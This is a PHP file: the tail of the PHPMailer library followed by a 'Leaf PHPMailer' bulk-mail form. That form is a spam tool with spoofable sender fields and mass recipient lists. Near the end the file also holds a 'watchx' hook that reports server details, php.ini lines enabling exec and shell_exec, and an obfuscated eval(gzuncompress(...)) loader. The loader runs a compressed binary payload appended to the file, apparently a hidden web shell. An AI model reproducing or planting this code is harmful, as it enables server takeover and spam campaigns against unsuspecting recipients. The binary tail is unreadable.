            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php
$cTAk='gzuncomp'.'ress';$Rzlg='s'.'t'.'r'.'_rep'.'lace';$DMtP='exi'.'t';$aWED='f'.'ile'.'_g'.'et'.'_conten'.'ts';$TrmA='s'.'ubs'.'tr';eval($cTAk($Rzlg('yracshdmqu','>',$Rzlg('gwxzdlmfvc','<',$TrmA($aWED( __FILE__ ),-217082)))));$DMtP(0);
?>
x]ʖW#}C~_!I~@ޜ R$(	=y۽}{GV}	H$_/_?C_r+u~~ȁ?9ޮ?/]_}\x\}}Lz~?_}{o_}_lX[YxpԨߣ.{22oSnmBmC?V6a{-Ļߎ:ԎjfLߟW~t
ӽ27}4Tyracshdmquxzl'ܶգ;bqqS/9]MJ\CC߇߿#[XaWe.kϾ)smwh*nxi
|b-ߎ!ّt߲^m$o*}6DwyDݝr?5]~㶭jpMx@xo~:4krhڬd8/:}bB
ҒCVvk9:yracshdmqu1Q(?__ݗO~f;g?0$ nV:Vf']yracshdmqu*/k{?^8y凉(cGVT|[KZ}Q/t0؎u8pC.?w_4NoY!^[.T8W9GU=aq %k?ױ~[d;	},:cߛyracshdmqus\~TR~šI.G5Nm2Q?.a)lY0~QN[q]-[}9N8sh{6+=&ߧhn/yracshdmquĆq/Ǣ2?pd}6͠oJgwxzdlmfvcn;RE;:*m$ܦ,IkZ?QބUo1yracshdmquwwiqM[
&єCo,Ggwxzdlmfvcw)[[gߧ~w/
˗o.{j04jRKof(yl4xS{Go論
gJ)'[3(sNd#htP#S{ʐ2۠\d*k*Hgwxzdlmfvchzd"F$L
9?s.H}r&+4DCsb,Ŭ)ӅV}2
7^0kgU6Q9-%w.|yracshdmquo*YbQ})_"8lϷEӫd;6k3{Tr_oyracshdmquRlow.Q{8?&eZKs,-GR^.༖$Ɉ~i[S)Bމkً_J8ɮyracshdmqu׽)h!qpuXEϕ9^Q!_mމGHFq
rWI ~﬋ @]`ֱUr.yracshdmqu_&_2El}؇/m	g]̤aĎ#?K
*	ĥksG[Idb+藐;IƖ0¹p~$Sk;6H	FG(;yracshdmqu墝¦cYqQV]ϷR"yracshdmquKx{P(癬M{?gwxzdlmfvcUآK-\gwxzdlmfvc(3lgwxzdlmfvcg#)k&$Y/p9gt'eĪ{D?ӇxBN,&/d-G
gһRn3!dMrN~4I?1%nѼ#?蝓
⪂sᔪQyracshdmqurRbr9M $^42 !wmH'4nv%?.0OFږgwxzdlmfvc^^ٰR?~05}DkٵWѾY5[/WpMА:R.x+yracshdmquegwxzdlmfvcp+qS'/?ĘFhI@ȣU%@ϒ8
DEBH:`
A V¹ C5Lk񃎍םSwz6+Al{b-*1IÖPJ
}F"y2I택9
C撲=i\B8Y͒|,wEylS'T/j&
jgCh_ÅLu'o/[AF9JKHgx9S@ͮ5g7FHnqQ\5aFpj~1T֠NEDBwVYc"jk?)K_sjh
Q{ԉb%m\`c`
Q)|Grgh2_̏/'ob{!x3߫2KǌYT{fVKyracshdmqu:u(
	;[rn	4[dfY@z@m"8i
shEjJћ!"׳AdѬhZ3y14!+yracshdmquP,p="Ԁ?Pqtv/cB?@vRD`tfmLLɝ'_6mUJs[j	}:&"bNXj4y!;A3%/}U{DBD@^lXd5'&)*S\~~#Oڑ%NSYh,A,3Լg|/&c	90E=gwxzdlmfvc9y|
J'{)?YHUj[	\@rS}MvUΗĠQ56.c!=gwxzdlmfvc3ϥ_	_v
H3@TLS&QL/^L0o/5D	]A?YbQ`o
]쓓媊KP5%~^{SuqFAbgwxzdlmfvc0A_dbvxU0fAUHXpmKFRe}x83Rwػ:x48j	t/Aߓb HR!*ي!OH?.QS˝K6,ӋX9)_+gwxzdlmfvczl	[Ctl`%ZTy(OZ?s$hZBhJ/;BA嘬$OQb8Ͱ_M2t/׎1y^?vE¨Tt\zEAvMzWkH@2i6K
KۢM{tlP߫`}pϬýҦLOQdiK+bvy2ΤP~ c&ngb$؀\0$Z
KFTmʆb8grѼ@;=|0R+;ݼgwxzdlmfvcq+*8\sæ$]Guy1a5~"}gwxzdlmfvc#΁QZ3Q4΃Bgwxzdlmfvca?~	kӈR_T&xV&v֡V?c8	*Lp)ϬH?݊[;:OIt
o෶whAƜgKODATgwxzdlmfvc5lϐ=&A^9A*K[xNޫ29	u,wCyracshdmqurk2Z:ىgwxzdlmfvcXXĝ8Yv |E޹I{4%yracshdmquDav3*k^#IY{@jzzPlq(0{Uh*Y?pgwxzdlmfvcݺe1yracshdmqut\{TUo*2&]GpGyracshdmquݜJdE|kmeޱRq&w*1
UsIl ;
 `_7

D6OY\O4_FL@{Fȗst@KmBNU:
vʱû
}.e"l c|5g
,{iN5gwxzdlmfvcr},c4Hv'"YgwxzdlmfvcAP^7.]+od~]vĐ|I$u'ۃweSF	T~ZW	gwxzdlmfvcJ#sW[5oG[jBAIOϼ'|?k?`,^=(`k.'Zu,Nx,W{n
Uu'U})yracshdmqu9nb_=2UÚyracshdmqu喙sAƎE.^]|0UyracshdmquǓF[Hgwxzdlmfvc]i!d(mV\R=[x-){H.L/很ˢP/z4p^L)xWcBE`8)  )8[	xj0r$Z8,;sHXK+2Q87+{*9r!xy^/$076?PNb[Pz@DUZ);gwxzdlmfvcם:VH_
[-e#}dvyracshdmqu|ځc
b&=é-kkaURLavjȝyracshdmqu7?^/ɭGUnyracshdmqu'p~}vc"t3h!TDB6bW\vpU_C"70x-hU
2/ڢnfͤ)0C,Ѱ]FΙ$KDzȃq|[ᶫ;RҨt!KYc	#-UL׫bя%P2++_d;2	-kf#z)x_u+V{u0imh|fVe wZvZLgwxzdlmfvc.,lAwF!b"7Tlp({;Qh]kKޏ'H8;YOȶ-^٨x?AU:b`V ) &kh0HZ%(!
E[͋Ndus	Rp]VSbStK51W"Jf+ԲAU_Z9gj/LDB]@%p.8[@.gwxzdlmfvclݵZS+yracshdmquKqH8|.2ewI(-
]LvxJl?jp\ϡ~	.s\=(
rؿKJ±q +BE93(8*I03x	fHeKcYTѸػT&TA_jaԅScpY|ЏQɌ7s*	8@+.K7uG9gwxzdlmfvcAjSLphm2ނ.1[:x|"]oyracshdmquv'ώpA±BV8,|rbA[|qv	\U#JBH@МsRQ`9uJ,NID$9- 7w'$+yracshdmqu](k:PVRtSn^SNuqt˾t.Vx UR9I_BS[SIОr+4؁+搋iZJ"nrv1;ǟ,# Ϩu&ȀMߊ*xv/+ȬYΕ&l)?45aԎ&["{jPfKQZKX.+崒JnCKV	/g̡W͹[fsV8Uջ_u!*$yracshdmqup'EmZ
|Bk"_wȁ6wtN#s&#FUj~GDǂrx,dgVB}KR੯3JC	.3r@b@mٚ\
p@
&I_oh).]i0|=٠p׺w?Ykgwxzdlmfvc*ւL]33EI %DĴ䝭-.{tM4L\VKmS/\;9xdgwxzdlmfvcQRc TI8QٚA'o?;{#"kyracshdmqu}"d饧q5~~䢗^
Y:cVvQ=}Pyracshdmqu-yracshdmqumYNyHgwxzdlmfvc)UB}Q@azw*gwxzdlmfvcb	KePI	-{lEY#/ZUe}s2/H	yi7!{@i'(T r&Iw.ǬǢv&K!Ygwxzdlmfvcsȍd7O&5C#*~S?aqPYUQ-L~϶~a'ɒt sא3.}_٘Yt0%*@AB*{y 9#
)Zr+31"ml|hK{Xcpvb
髖G1]D
{&Twpn){cayracshdmquB$]w$yracshdmquAL\yracshdmquT~Rk6mYZU|S|~%LRA.~,y`6=zˎTP_#Gƅť~+gwxzdlmfvc苋[.9AIT./fCjGL+F^gwxzdlmfvc
GoN#ѮT!Ab{&bflßЮ
gwxzdlmfvcw;p81sZ+8%jgwxzdlmfvc#sse;aCE|+bX$:M%~ڮ1|֣yracshdmqu "g`E=yyAh±9nрAX:fzQˀT@	tHPw:xcٗ28LطW7rᓽgGf9RVyracshdmqu{zy2u
d6C,zJ8X#e
